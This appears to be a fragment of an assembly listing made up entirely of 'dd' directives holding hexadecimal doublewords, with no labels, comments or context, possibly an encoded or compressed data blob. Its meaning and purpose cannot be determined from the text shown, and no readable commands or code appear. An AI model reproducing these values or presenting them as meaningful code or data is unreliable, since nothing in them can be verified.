dd 0C0BE6C35h, 24F5A133h, 0B20239BAh, 0D0A90CE1h, 0E4E0409Dh
dd 68F0007Bh, 9E417106h, 0AF2604BBh, 813E1EB7h, 4201D299h
dd 0ABDCE3B1h, 13C7E09h, 2B6E58B3h, 0BE7D20A9h, 10840008h
dd 945176BCh, 67D90B7Ah, 8685D444h, 0FAF000CBh, 58F1CEAEh
dd 3EAC0102h, 80EBA8F8h, 0CCA548D8h, 4A760019h, 5C03BAD2h
dd 5301574Ch, 0FB8F08ADh, 0C0DC2D6Ah, 140B98D5h, 0BB95361Dh
dd 0E24C5D00h, 0F71A5126h, 0CCB97C09h, 0C0290F94h, 0F19981Dh
dd 9B571280h, 45C007E4h, 0CE75F090h, 0DC00D742h, 3B8384ECh
dd 929464h, 0E7D673Fh, 0EB6FD230h, 0CF21CB01h, 0E1763345h
dd 223AD0h, 0F3B28B61h, 0BFA94C9h, 64852900h, 0F4675B7h
dd 0C62F00B9h, 99DA3A2Bh, 0D2716EABh, 2CDAC00h, 527A09C2h
dd 0E12A00D3h, 0E2310705h, 66002C3Fh, 78E5ADB5h, 35E043h
dd 0F0154B3Bh, 5539C095h, 0D312EC00h, 4ADD3F0Ch, 0AFCE0E74h
dd 0D82094C1h, 0AD142F5Dh, 0FB069C14h, 258B07E8h, 26C0D4F1h
dd 7921D7F6h, 35D2006Bh, 2ED1D81Ch, 780FEB1Bh, 7C1E0E90h
dd 61F1AC87h, 0D8F0C3h, 876D1F09h, 3BB9BFEBh, 928D831Fh
dd 880CCDEh, 0EA61BD9Ch, 0F2F8006Eh, 0D7979F8Eh, 0D50E7EB1h
dd 6721CC2Ah, 0E690C78Dh, 8738D1h, 357D149Ah, 68ED3417h
dd 97C4AA01h, 0B24CB1BBh, 77560F60h, 0B5FECEh, 47D0CFE7h
dd 0D8C21832h, 950F9905h, 4A80D3AAh, 0E7384A9h, 4513B1AFh
dd 129F46A0h, 6CF253DEh, 49B9B800h, 64E0969Ah, 0CC48012Bh
dd 0E8D3395h, 0DCB0F354h, 660676AEh, 5D02F6E1h, 0FFAD0020h
dd 946A72C3h, 880049B1h, 2BC00452h, 0FD3D4E23h, 44D03680h
dd 0B2802D70h, 4C1E9000h, 7E3C459Bh, 0CD93079Fh, 40546329h
dd 3DB9080Eh, 521A060Ah, 8B388EE8h, 21C155B0h, 0B820C050h
dd 53EC0DD1h, 2BCE0041h, 2FD2CD4Eh, 0D300137Fh, 590C828Ch
dd 1312AB7Dh, 1BB6405Eh, 55E00940h, 0A571C6E3h, 362B2600h
dd 48682ED5h, 41E81360h, 2885E86h, 34811627h, 0B1CF4060h
dd 0F20DAD00h, 7D80BED2h, 3188F231h, 3A2035C1h, 29E0EC7Ch
dd 20F31A7Dh, 0FE0922C8h, 0A0B38647h, 2BD38348h, 7EC5F238h
dd 20D607A5h, 0B0DB3DA4h, 2C4E2D92h, 0FD004F7Fh, 5C573AE3h
dd 0EE207934h, 1D07CB8h, 0FFE415EFh, 0F1EDEC58h, 0BFBDC414h
dd 0C5882250h, 0B46C300h, 7BBCEB45h, 9C93008Dh, 0AD7524CAh
dd 0D8FCA04Eh, 9BDC700h, 6CF3D90Eh, 6BEA0FEEh, 32004C94h
dd 78A68605h, 9DAAED02h, 0E8B83575h, 21312Ch, 7E805DCCh
dd 0A2A70B77h, 98BD5207h, 6DB36A0Dh, 4186E875h, 61E40797h
dd 5FD64E67h, 4A2A8AA1h, 0C6BE888h, 0F5348200h, 6CFD10C7h
dd 0B3A0081h, 37135AB2h, 0F41E031Fh, 0F2070AF3h, 7316658h
dd 41E624FDh, 0AA81F6B4h, 77E37F50h, 4FB7F857h, 98D71507h
dd 0F4600C4Eh, 3E581961h, 0E6005B5Ah, 0F0D09044h, 46036E23h
dd 0D3FDDD97h, 27B800A3h, 704745A5h, 0F8F8D656h, 0E4B21400h
dd 0E861A08Ch, 25CF00F6h, 9D4E747Dh, 0FF05E607h, 0B0D2D00Ah
dd 0DD5FE80h, 11C50E9Fh, 0BA0082DAh, 0CA5A91Fh, 0CE5CBC00h
dd 0FD20231Ch, 0E7AD3B3Fh, 7DAE5B00h, 0F12DD879h, 7381911Eh
dd 3C40E89Fh, 0C2B1BE5Fh, 0C59A003Ah, 0F68C6741h, 6C00F58Ah
dd 2CFEB00Ch, 1E5C1102h, 40EC5B38h, 0E0F9B5D1h, 79E8F6DBh
dd 397F1700h, 0BD66EA49h, 4F280045h, 0B6CB620h, 3000FA57h
dd 47CFBFB7h, 4CFB3Fh, 35C38380h, 6C8D66B1h, 4EE00400h
dd 0C958E626h, 122C00A3h, 0BE8EB61Ah, 6B300EC0h, 727D78A9h
dd 75440310h, 0DE3D17E0h, 7600A3A3h, 22F86061h, 0E6E6830h
dd 8927100Dh, 86DEEB23h, 0BC5C7688h, 0FD663E00h, 9F3F234Ch
dd 8D2700FAh, 84FF85F2h, 6100C8A5h, 5E98B5D7h, 650B19h
dd 240AE94h, 891CC5E4h, 6D93FC00h, 6362FA88h, 7CF90085h
dd 0AF43F355h, 0D70C8F58h
dd 7282832Dh, 73F61F88h, 9C6781ECh, 0BE6F3BC2h, 0E69B0009h
dd 456A3A71h, 170903AFh, 2501144Bh, 0F8C1A6A1h, 0D3000442h
dd 30F40E0Bh, 1EF6B3E6h, 408C4931h, 0ACD9210Ch, 16005380h
dd 819B14B1h, 3CE1B56Bh, 26871CD6h, 0B7FC1349h, 0B03AC724h
dd 1AEA80A9h, 8FB4693Ch, 128F2871h, 26993D01h, 0AAF9B059h
dd 0B537E0F6h, 75CE3C38h, 0FD007E38h, 55135B7Dh, 0A639E9F8h
dd 0EE1980C2h, 6DCF933Ah, 484E00D5h, 7945E347h, 2201C37Bh
dd 0DF0216DAh, 9C40D75Ch, 0F0C63367h, 0A7EE006Fh, 8659FDC5h
dd 4B012173h, 6CF6B09Eh, 92C4A2A6h, 0F496E8EFh, 9566005Fh
dd 0B288E713h, 0B4B0378Eh, 0C6A79200h, 4FFD2991h, 1189006Dh
dd 475A3008h, 0D9E453BDh, 48C3A3FCh, 0E05413FEh, 303F263Ch
dd 22784E10h, 703CC0E4h, 986B0011h, 8D0BABC5h, 0E680001Ah
dd 20D19C05h, 0CD78C227h, 63000AF2h, 98FECC38h, 514DAD9h
dd 0ACE99717h, 0A0B8009Ah, 82ECFD52h, 0F0676300h, 0CEC94EA5h
dd 3DF2D4h, 86BCD1FFh, 0F178E0E9h, 29972C00h, 646BD617h
dd 0BE2639C5h, 0FFFE4D0Bh, 0A5838A83h, 2D1C9E7Dh, 7C64A04Fh
dd 0BEBC7800h, 3A26C6Eh, 0E48E1902h, 88005188h, 0A6BA5E43h
dd 969374h, 0BB4AD19Eh, 34371CE7h, 0A202B700h, 0F710491Eh
dd 1EC84h, 0F5D3288Dh, 0F8A1F6B9h, 4C35D600h, 78FC0FB3h
dd 711C0614h, 80EAC54h, 440007F8h, 8D7308D1h, 2F96DAh
dd 8FAA18D8h, 4B277EDh, 0C3579303h, 88E92DCCh, 3187C9Fh
dd 602F94FFh, 0A0A7A60Ch, 0A1A061FDh, 832E583Ah, 0D1DBF76Eh
dd 728E00ABh, 11B4D1Fh, 0D0082E5h, 88938F4Bh, 75D4DCE8h
dd 0FD62000Eh, 141FEBBEh, 403828Ah, 633F3489h, 5880ACFBh
dd 1E6A67h, 6E5D05B1h, 5A82EF1Fh, 240F4B79h, 37CF622h
dd 80E1D0DFh, 2A4628h, 0D262C467h, 217FA0FCh, 0FF966A10h
dd 0C0C2721Fh, 5C9B3B15h, 9C9019BBh, 1DBF8214h, 35DE14A4h
dd 0BC2E63E4h, 40DC03FDh, 4E43F0CDh, 795F07E8h, 3A0FAC18h
dd 8070D0h, 88A1566h, 0E99AF99Fh, 91E3FC00h, 254A5163h
dd 0AC78C0D3h, 9E585D3Ch, 5593D200h, 438431A9h, 0C8F6B3h
dd 7329079Fh, 0F83CB692h, 27249700h, 0D24C6C23h, 0BD540F2Bh
dd 9E2A2Ch, 5A16A1FFh, 4002D55h, 0CA069B17h, 9D4B26h, 5EB633C2h
dd 0D961B53Bh, 5844BD18h, 2CDF26D0h, 45C6C7h, 4B5D8732h
dd 0F400F61Dh, 30DB099Fh, 9B8E078h, 2C492F5Bh, 8FF33C82h
dd 98FFA12Eh, 5FE4DAA5h, 0F4165012h, 1D8704ECh, 80DB4A55h
dd 34DDA870h, 6AB90915h, 80B03AACh, 516612B8h, 13FFE1h
dd 9CDB874Ah, 3C36F6D4h, 70F1DF2h, 0A004C469h, 0DB6F3FBBh
dd 967C034Bh, 52CCEA75h, 12AC2100h, 971CEB8h, 965A05ADh
dd 86A533BEh, 410076E9h, 48A85DACh, 17CE2F76h, 0C3E4F5h
dd 0DE36B06Fh, 890ECDA6h, 801B206Bh, 0C6F2BEE1h, 78940005h
dd 0A69AC0D8h, 0C878BAE6h, 3B9D1200h, 59AA1174h, 29A30EF3h
dd 58E045ACh, 30BD48BCh, 8008DE6Fh, 7C40FF44h, 8BE40990h
dd 73802713h, 59CBF13Ch, 0C20FED00h, 95145EDFh, 73B829h
dd 0D87A348Ah, 748FD5BFh, 8D3ACF00h, 0DECF9B3h, 0A4D30627h
dd 0A81EA94Dh, 2B30D605h, 0E4003A26h, 0DF92FE45h, 0FA080DACh
dd 0F278788Eh, 0BCA3C881h, 2064F935h, 63005588h, 1393CAFEh
dd 0C4C0916h, 0ADEA4B10h, 600B4048h, 5CDB3h, 62CFA09Ah
dd 0E9FD004Dh, 495DBABDh, 0D400B450h, 8F90FFC5h, 4BAE8885h
dd 0D0FAE0ADh, 0F400F09Ah, 41309ECh, 3EF9146Dh, 2F804737h
dd 4E417671h, 0E9FF5CD5h, 0D470D0ABh, 0B05E4406h, 18C38Bh
dd 28D62D0Ch, 0FC0E3C6Fh, 0FBB7E100h, 47DC6A60h, 10CE001Ah
dd 710A4974h, 1F03685h, 0D7CAF900h, 4AD41F63h, 74E1048Eh
dd 80163ABAh, 0E2EBB538h, 0B32A0A0Fh, 505F2158h, 6AD8616Fh
dd 0C8C24C94h, 57608800h, 86C7350Dh, 1910BA34h, 0C10762C0h
dd 0AD73000Eh, 5025BFCEh, 0DD00B47Fh, 93C6C823h, 0ABFD27h
dd 9F6C5437h, 1017C208h, 7F51B103h, 0A971D97Ah, 0A8608AA6h
dd 0B9450065h, 3CE3DD93h, 0E07297Eh, 4399184Fh, 195A2490h
dd 1AFD07A2h, 0B07E51DBh, 0C23C952Ah, 80A3BA39h, 0C44BDE85h
dd 0FA91F531h, 0FE21CD0h, 7913C00Ch, 77FF12F9h, 5C7FE600h
dd 0C1BE919Ah, 5DD8920Fh, 0CC8014E3h, 6BB18E8h, 0D5EF6B00h
dd 58EAC797h, 0F4801C03h, 49A880BAh, 0E829F568h, 86733710h
dd 0F2272B00h, 0C18E7818h, 9E00EFE8h, 23E6BB3Ah, 32A93C7h
dd 365DDD1h, 70DFB335h, 0BD88F9F0h, 8CF0E750h, 0C0C41748h
dd 0DC614724h, 1FC90089h, 628FEC12h, 0AC3318A1h, 0B8C7B944h
dd 0A1764h, 36255E93h, 178FA59h, 0FF113400h, 3CB4DB2Ah
dd 64383AADh, 2EC0C681h, 0D04D15A2h, 410082E3h, 7388B5D6h
dd 0E01175F0h, 0AE450006h, 8AAE9F7h, 0E5052BEFh, 0EBC1209Eh
dd 40051480h, 92B200F2h, 2678CB89h, 98C428B8h, 1049C96Bh
dd 85F7D020h, 0AD1225F1h, 0A40022D4h, 8E989A36h, 2CE42F86h
dd 0F8F639E0h, 0BA5F5600h, 0E24A1DE5h, 90CC03DFh, 5B83B744h
dd 27B4FB8h, 0AB04AA0Eh, 3E6FE01Eh, 45EF2Dh, 0D4DF9885h
dd 9EB56E62h, 3B607700h, 0FB5BA82Ah, 5AD83934h, 0D7F7D200h
dd 0AF418916h, 2460F00h, 1ADF3D9Ch, 0B8AA00A9h, 0F1C8A297h
dd 0F001360h, 20674728h, 0BBCA6B5h, 15514E0Dh, 0FE5638B0h
dd 8B9D7A1Ch, 8597F040h, 3EEBF48h, 0A6304EC7h, 7DA8843Eh
dd 99051F56h, 32A991FDh, 0C0EBABC2h, 0A45C70h, 63592B10h
dd 65582402h, 4A0712E6h, 7E2EF748h, 0D83D23A3h, 0C4A7A0h
dd 0DD63E8D4h, 0C55AA2FDh, 0FC0009DFh, 0CBDF91C7h, 7173961h
dd 9BB6AB03h, 0D9A8DE05h, 0EA014CBCh, 3FF2B091h, 0AFD48394h
dd 0EF8407C5h, 205CD698h, 0F6DF5738h, 7D0AD77Eh, 0E48610C0h
dd 406B0C0Fh, 0F9D92421h, 6AC0FFFh, 7EC7DFF0h, 67C612F3h
dd 8B9EA460h, 0CDAA4E1Ch, 1AB1056h, 9F46B1Dh, 4D5702Ah
dd 2B85900h, 94A25064h, 0C7540012h, 9B69CE25h, 0CD39D528h
dd 720709C6h, 0FC144045h, 4C6E00FDh, 7411ECCAh, 5503A87Eh
dd 89D750BBh, 62A00798h, 70D28D24h, 0CF025329h, 5004C98h
dd 0ADB5B35Eh, 1E35A80h, 40443E9Dh, 203F1F4Eh, 9F007581h
dd 0F4273DF8h, 0B88B8542h, 55AE01E0h, 6CEC2B53h, 0A4E820EFh
dd 945DA500h, 6991E147h, 64150040h, 7C891DC1h, 0B3FED06h
dd 4E20E79h, 73D46078h, 16D8316Ah, 0EF99E0Eh, 86605D6h
dd 0B43C6AE7h, 0BB30F4FDh, 1CE409E5h, 0BEF105AFh, 0C068FCDEh
dd 0F2A3CB50h, 5C384898h, 6EBB1CC8h, 3230AF00h, 25EA2Ch
dd 0CE897E8Fh, 19A7E72Fh, 0A9D44D01h, 0F25AF0E2h, 39D2E8h
dd 24833BEDh, 9D47FEA4h, 9E00E8E8h, 58C68952h, 1C0FE988h
dd 405AAF87h, 15566638h, 1800506Ah, 3433ACC8h, 0F6EFF06Eh
dd 23C30044h, 0A7B009F8h, 82003D6Dh, 0EDD680D5h, 0F3BDF5h
dd 0E31594Bh, 1FCFC44Ah, 2C0B1B00h, 456DBEB5h, 4B7D0028h
dd 8996C24Fh, 70FC152Dh, 6B42FF00h, 0D5A50AA3h, 0B22F0064h
dd 0CEE85E49h, 900063C8h, 46A33841h, 7871489Ah, 9D992828h
dd 825B07DCh, 80884AB1h, 0A36A70F7h, 5F857B07h, 518079D7h
dd 7E3B82BFh, 555700B3h, 65BBFA04h, 8DFF99Ch, 0E07F6800h
dd 16ED5F10h, 2B136Ch, 9A2E2586h, 4D7BD630h, 9E4A2600h
dd 749B1BB6h, 0F887E73h, 0EFCE5EB8h, 0BC2F0BA0h, 9FF46EC2h
dd 46701E00h
dd 0C8762008h, 5C8A0F45h, 8FC00753h, 852A6B0Bh, 0E100E472h
dd 0CC457D66h, 74A22240h, 0D9760B06h, 0A50058C1h, 468ECD74h
dd 0DCC86300h, 8DA73B12h, 47E873h, 413AB003h, 924F537Bh
dd 6AF17D1Eh, 3EB54000h, 0C6BD561h, 9870508Eh, 0AF009EEAh
dd 13CFF884h, 0E68290h, 19569365h, 18A78B29h, 0D69F8A2Fh
dd 441763h, 505DC8F2h, 8DFC75Ch, 1600900h, 4CEFE426h, 0E671C629h
dd 0C7AD001Dh, 4A2D616Dh, 70008265h, 95F67319h, 3814E57h
dd 0E57249FFh, 0E1A0B88Bh, 0F101CC26h, 18FCB779h, 50F494D5h
dd 1C8400FBh, 0BE1D2157h, 1A00E056h, 4C0CE3B3h, 0F3B12Eh
dd 0AB549FA8h, 9394232Ah, 627BE02Ch, 86ED8500h, 50BC710Dh
dd 91B8254h, 1F495C53h, 24D54300h, 990A7051h, 0C2DB958Eh
dd 0EB1C1100h, 1EC6C8Ch, 6443408Bh, 0D4843D34h, 0F0002E7Ch
dd 49CD73B0h, 61CC4Eh, 4053666Dh, 75A2DF96h, 0D4D8BB00h
dd 1BD114E4h, 78A8007Ah, 0A716D33Fh, 5400C506h, 21BC6D55h
dd 3B938Dh, 0A8774F14h, 19D307A2h, 3BB5353Ch, 0BE26004Ah
dd 5457D572h, 43E21466h, 0F2008899h, 0DD1C4AADh, 35008D1Dh
dd 0AE73D92Ch, 2D472Fh, 83906562h, 0C6F6F8AAh, 0EE60501Ch
dd 2035438Dh, 1F113C60h, 4031D0F7h, 75965F0Dh, 431C9F91h
dd 0C540F1E2h, 7F6577F8h, 117024CAh, 6E6880BCh, 0D91EA643h
dd 664A7601h, 0F987AE19h, 1FA18C8h, 0B16C34F2h, 0F826130Eh
dd 7C00EF6Fh, 9D79CE63h, 0B029F444h, 3A1A00B6h, 523D54E6h
dd 4490866Fh, 6C583701h, 0D666FF56h, 0F4BF22F0h, 0C64900A5h
dd 2F4CA6C5h, 1401DD10h, 77B27D2Dh, 0C84082FAh, 119B8Bh
dd 0B1DFCCD6h, 8CC37073h, 0BD15CB1Dh, 0CF3DF4C1h, 0C0400581h
dd 3884A651h, 0B9800885h, 0D09062B6h, 52003566h, 0F8AFA5FDh
dd 3EB74EDh, 26CC1B30h, 96A87AC5h, 0FF006F03h, 7F6C07F9h
dd 1E51A8D1h, 2E73109h, 80E5D8D0h, 6F14B880h, 1B7356CDh
dd 160F647Eh, 802A2DDFh, 1AEDA83Bh, 0CB461489h, 200A8D4h
dd 8315996Ch, 27005D09h, 804071B7h, 7064CF4Fh, 0B37B009Eh
dd 0DB76FBAFh, 77000DCAh, 0F6203112h, 0C4E2896h, 751B9C32h
dd 6F0E3046h, 1C3D5B03h, 9AD35607h, 4108E22Fh, 0FFE48006h
dd 1D2F36D8h, 0C0EF4C98h, 3E801DAAh, 7F60D4E6h, 7E74B08h
dd 0D6C80968h, 788056A0h, 575EF7DCh, 0D1F1D203h, 0B14DFB54h
dd 982093FCh, 7EEF0FE8h, 0FF806AE9h, 1B8C05B3h, 0BA944C12h
dd 0CC8BAC00h, 7D4393Eh, 0CB3C57A8h, 0B88EC0B5h, 0EE0F8032h
dd 0E04A0487h, 0F478F8FBh, 0A6E6005Dh, 4417F513h, 8E1EEF6Dh
dd 3B0F5BBDh, 32D6203Ch, 7FD1C1Bh, 0D28B4F52h, 0DE2D0B2h
dd 9613E79Eh, 780E5A5Eh, 28F2A0C2h, 136E49h, 62F097D8h
dd 3B161A06h, 1F218700h, 5ACD1CACh, 53D80366h, 91BC6532h
dd 209A7DB1h, 8203EDB4h, 0FDF2A1Ch, 158888E3h, 7201072Dh
dd 0D0DA764Ah, 787A628Fh, 0E0126300h, 27021804h, 7B21015Fh
dd 7ED7A3BAh, 47B5E4EEh, 0F08F0F1Ch, 8DD3B980h, 99944Ah
dd 9EDE59D5h, 92AE36A4h, 54608C0Fh, 0A8DB0276h, 4A0816Fh
dd 0DDE04495h, 0EE1400A2h, 0CC0E522Bh, 7604C8C9h, 1B9F8232h
dd 0F353DCC0h, 472A00DDh, 2DA9A614h, 5403F16Ch, 2BA3B5DEh
dd 0CE46A099h, 0BC804915h, 412D8E16h, 66A81A64h, 26F1F87Ch
dd 0B9391800h, 0E3037B12h, 9C4C4CACh, 63326880h, 504439D5h
dd 0C9B50E74h, 304088BBh, 0CFC14309h, 669E9D00h, 8939A152h
dd 0D0AE001Bh, 0DEF96CBEh, 0DC03502Fh, 685E4A81h, 6CD0DC09h
dd 2E39360Bh, 8DB74Ch, 0E0270873h, 0C1009D3Ch, 0C6D6E396h
dd 780F5DEh, 0F1FDBF44h, 0B6B4B0F9h, 3A00DB8Ah, 9862C8E2h
dd 90696D4Dh, 0C6150028h, 1A9EEB4h, 8CB0041Ah, 8C2B1E00h
dd 8DA4BF4Ah, 0EDB5007Bh, 528B898h, 0EE00016Fh, 51FF3C84h
dd 55C4DDh, 4C542BA7h, 0A3F5416Eh, 1E79EA00h, 0E45EFA6Ch
dd 4DC73D2h, 0EDE85CA4h, 86008090h, 6D0ECD64h, 0A003C3DAh
dd 283FCCADh, 0B05274A4h, 7FDB002Bh, 0F89C4ADCh, 0C51E39FDh
dd 17001B26h, 663DEA9Fh, 0EB7E99h, 7CBE42A9h, 7730D55Dh
dd 0AE57BC07h, 0EBC0A8B1h, 3D0415D9h, 0D380DBBFh, 43E4FD01h
dd 1100CFB8h, 0C3ECA00Dh, 2FC6A8h, 0DA196359h, 0A328551Fh
dd 0DE9CFA50h, 0B7DD3A07h, 1BE046A7h, 8EF876h, 0A845C71Eh
dd 0DC6C7EC4h, 62E9390Fh, 34FE60AAh, 1046DDh, 76F59E29h
dd 0BB80E15Ch, 8069E83Ch, 2F82279Dh, 0B20637h, 7A383C59h
dd 8662F45Ch, 0D8C54600h, 74E516CBh, 51220004h, 0C4D70DB6h
dd 257C7CD6h, 8E886800h, 0DD8B33BFh, 55160049h, 0F21C89Bh
dd 933A3E25h, 0EE1B0002h, 22AAD604h, 0A3EB00FAh, 874EB10Bh
dd 0FC00F60Dh, 47DB2464h, 19812607h, 94D1DC6h, 0F7F0EC25h
dd 0F5C1A301h, 993FEB9Eh, 7EDED0h, 4D2719D1h, 2B5DEDFEh
dd 0DB2DEA00h, 85C5FABEh, 218F00F5h, 32C65469h, 0F20097A7h
dd 718117C0h, 0B2779h, 73B63F24h, 6309B43Ah, 5CFC8538h
dd 0F87403BFh, 0D0175DFFh, 0C0C4FB7Bh, 281E3258h, 9C9096EAh
dd 1B626907h, 0C160F37Fh, 256D632Bh, 527EB385h, 0BD211200h
dd 0CBBC4Fh, 0C9B8ED9Fh, 0F42E1D6Fh, 0C8DA800h, 0E48B4013h
dd 24B700A7h, 0E7D18F99h, 0A60074C5h, 0EA324668h, 0F822B53Eh
dd 406300D8h, 18CC758h, 23F468D5h, 80586558h, 85ADEAAh
dd 25032E06h, 1BC2663h, 0DDFC23A8h, 6AEFD00Ah, 0C7BA1A05h
dd 48094BCh, 0F397E0h, 99E7EE72h, 0C87C1E81h, 4DFEC200h
dd 95B32884h, 0FCB60946h, 0F8210E3Fh, 0D004AC24h, 5A008C79h
dd 47AEE32Ah, 0D538D4h, 654CE7FFh, 0AA119F7Ch, 0D3779201h
dd 9334991Ah, 3E1FA4E0h, 0FB9D6DFAh, 0A1AF0430h, 0B8D880D3h
dd 100090DFh, 0AB24DC51h, 4DB7B199h, 500584Bh, 0D0D2BE87h
dd 2C901C78h, 4CC72A02h, 6073BC36h, 11788F0h, 0E798A470h
dd 3038E16Eh, 2600DD60h, 77073DC7h, 576B803h, 88F767ADh
dd 91548318h, 43BAE6A8h, 2DB4C03h, 0E8836581h, 40D460h
dd 4671A887h, 11C636F9h, 5CCE5A3Ch, 0B4C700DAh, 504CB732h
dd 5EB909EBh, 9B008AF9h, 0EE43E662h, 8C5A931Fh, 53738F02h
dd 0F3E0852Ch, 24239481h, 0CE8011BDh, 94EC596h, 0D9002DB3h
dd 1AE14CC9h, 0C73007h, 8B3459B9h, 56336719h, 0D2786D00h
dd 0D7EB542Dh, 4A8E00B5h, 8A16F120h, 17007121h, 431E6D92h
dd 1FAC1CD1h, 28E1BD80h, 0AD200CDCh, 0EBA151E2h, 63A88654h
dd 0DD45400h, 0E78AFF5Fh, 0F87003Dh, 0E486E699h, 1D0058F6h
dd 3410CB21h, 3691A6Ch, 5C7BD160h, 4B0644Ch, 0EEC0D6B5h
dd 882178FBh, 6654092Eh, 1827C1B3h, 9EA2C061h, 5600F6C9h
dd 0C31D9C0Eh, 481AA1E5h, 0E600865Fh, 0C0BEB827h, 69002809h
dd 0AD4F2DFCh, 0FEB1B725h, 5D911D10h, 74C1804Ah, 9876F24Eh
dd 405F5000h, 0A30EC22h, 910003Ch, 1E64350Eh, 0BE7CAC78h
dd 24D4FA26h, 0BD7F400h, 1CA7B0Fh, 0C91A76D8h, 0D87D42B4h
dd 9D00624Eh, 0B3929675h, 3960781Bh, 0B64CA9C5h, 0AC440B00h
dd 6B357E1Eh, 89523F00h, 0AF13AE7Bh, 589100BDh, 5F0E2030h
dd 0B600D44Bh, 0D81125A7h, 0A914FEh, 0FA546ADFh, 78DD8980h
dd 0E0A571FDh, 0D9003EA7h, 0B297F8D3h, 1D57127Fh, 0C05EB038h
dd 20602D3Ch, 33004443h, 3B196FE6h, 0FEE00797h, 2DF90EB8h
dd 938A8621h, 0B5C00B0h, 9FA64827h, 8012FE39h, 0ECACF4ADh
dd 7870B8C0h
dd 6CB0E1h, 849A0B42h, 838E576Ah, 0A0563D0Dh, 72F0097Bh
dd 0BA8005Fh, 4962425Ah, 0EE00A481h, 20E370CEh, 31B6F68h
dd 1C319A48h, 51A075C7h, 0F501DBF9h, 32E784B6h, 6C202B61h
dd 9BB73F1Fh, 2D5D9E00h, 0A6E144ABh, 834F7809h, 634E84CCh
dd 60DA1C82h, 40DB66h, 0ECF777EDh, 6E29954Ch, 9CBD917h
dd 4A105003h, 14E0C093h, 0B91E2E8Fh, 1F179CB0h, 35B701B5h
dd 0ECF4E72Eh, 0C100A0E3h, 0FB079CA6h, 26F20EF1h, 109AFFh
dd 15FACE6h, 877865CDh, 0C7F76300h, 0F569A20Bh, 1A3D005Ah
dd 0ADBB60D7h, 0FD12518Ah, 8C008E61h, 3C8C64E6h, 49FF007Ah
dd 592E5C95h, 0E1021E96h, 0BF1767E7h, 0DD08E0BBh, 0C884AB8Ah
dd 7B20B5CAh, 0B12518B7h, 69291031h, 1D2F0201h, 9A2E4EB8h
dd 98AA0024h, 46DC008Fh, 8BE8CBA7h, 54004C88h, 0B0E13ED1h
dd 515131Ch, 0D978696Eh, 4283C1A9h, 0F7844075h, 790066E4h
dd 0F1AB67EEh, 7D6A83h, 0A13DF5E2h, 7C62A9E6h, 0C1033Fh
dd 0B62EF291h, 1B2801ADh, 909C4B1h, 0CB7E16E0h, 0BEFEB001h
dd 29870C7Bh, 3C736BCCh, 4801EBEFh, 0D90B1A16h, 1C1BC078h
dd 29FF771Dh, 4C018140h, 688688h, 3CF8CCDAh, 95D4CA2Ah
dd 754FBC03h, 0A035E459h, 3B4E52B5h, 0EC805450h, 0AF3E8498h
dd 9317A9AAh, 8B05767Ah, 0A703AB34h, 0F8B5EE6Ch, 4CC175h
dd 4E4ABD24h, 7C646B63h, 0D0698B00h, 54B2BFE1h, 0FB901E1Bh
dd 282E802Ah, 45F7A6F4h, 100026FEh, 0FC34DE74h, 0E09433h
dd 1969F5E7h, 80E29A40h, 820DBA01h, 4D3E20D1h, 6E1EE8h
dd 9453CEA4h, 0C163A8B3h, 0D8E6F777h, 3134B700h, 66C03389h
dd 9E454CFCh, 0FED7160h, 0E700B0CFh, 220EC889h, 0BD793Eh
dd 0DD848A9Bh, 802E98D8h, 6800D276h, 300478A1h, 7E579502h
dd 4F4D00D0h, 74930FC9h, 4A39DC3Bh, 0FB1D8061h, 1E6AF7B8h
dd 451C00AAh, 9238D7B5h, 0C7012165h, 0F2992522h, 5FE45EE8h
dd 44D80757h, 958E5CAh, 9816005Fh, 0E843DCF2h, 888EE9BEh
dd 0CC0426Fh, 11284A55h, 0C3DF311Fh, 0A2186518h, 1B085C20h
dd 99687200h, 40E80522h, 0FFEC5B0Fh, 4B1D602Bh, 0FA5D1FACh
dd 186200BCh, 937F8259h, 1938D2C1h, 3BBA0079h, 6570571Eh
dd 27FA0066h, 0C7F8BEE0h, 0D97ACA07h, 86F98C0h, 98976744h
dd 0F98F0309h, 0D87B192Ch, 6DF2A818h, 28712E20h, 604EE4h
dd 3BDE1E03h, 912FF8BDh, 8D8C3100h, 0F6D3D264h, 0C45200BEh
dd 8659EF5Ch, 0DF00B122h, 395C606h, 0FF9B0D3Eh, 0B0D0C1C4h
dd 0EE3C0006h, 0F9F0046Ah, 0DC3CFA6Ch, 6DDD80BAh, 0B40E3BB9h
dd 0F5111F6Bh, 98CC4031h, 0CE9B7D9Eh, 0C8D95A1Eh, 83911A85h
dd 3392F040h, 69C7F86h, 0B3050C93h, 1E7B0843h, 75392700h
dd 0DC83D145h, 0E7CE0042h, 4748AD06h, 863BE065h, 9F360050h
dd 27B021E8h, 0FF1B1CE6h, 84007B9Eh, 0E913391Dh, 0AF06CF78h
dd 0C90D90C7h, 8D921F58h, 40BF9E2Eh, 4614BE35h, 4001DD3h
dd 7F6FA7F9h, 0C0255676h, 605B8620h, 20A79073h, 0CF4E0B88h
dd 0C0B1ABA6h, 0ED013703h, 0F802AD49h, 0C9B5B214h, 34003B19h
dd 6B3135F6h, 5C8BC8C4h, 90141200h, 28CE2864h, 8ED0836Ch
dd 0A6390080h, 1A5F3F7Bh, 0F0EE46Fh, 8D556701h, 61F8218Dh
dd 5AEB0E44h, 0A415912Dh, 9D5DB200h, 9475CA5Eh, 990E3E00h
dd 83035B29h, 34C23396h, 56A1E728h, 8038C1C0h, 0BF0C1910h
dd 0C429170h, 40BA16A3h, 3605708h, 0C067F920h, 243E0230h
dd 0EDC2EB6Eh, 25E2C082h, 62022C21h, 0CA869886h, 270008F6h
dd 60B3BA28h, 50D48A31h, 8C7F7413h, 5C3F7C02h, 19E5B71Ah
dd 67412D2h, 0CF0E135h, 34B2FE0Ah, 0C04F604Dh, 0FA917BBFh
dd 614486A1h, 0C07300B6h, 0CFD69C64h, 9D064EEEh, 0DECEA37h
dd 8FAB2190h, 423F708Fh, 1A569719h, 66E0100Fh, 0EAF95444h
dd 3D1439h, 5A8176ABh, 1ED5B23h, 0E82DD01h, 0F0BAF7B3h
dd 51069C55h, 52CFA72h, 15B173B0h, 9811DF78h, 0F0A80707h
dd 0A3AD10AAh, 0C53A9283h, 213E30A0h, 9F7D454h, 50138B1Ah
dd 0D3900FFh, 0A0397ED5h, 78467ECh, 89871FCEh, 0E2005FAFh
dd 2AE8FF8Dh, 0E40CA100h, 2F814185h, 0D74A0605h, 30F4D66Eh
dd 7F403300h, 25E3FC28h, 5E570091h, 4E85C6ADh, 28C18715h
dd 7A57B4Ah, 5038E6F4h, 0E2050C4Fh, 13E0026h, 9DAE069Fh
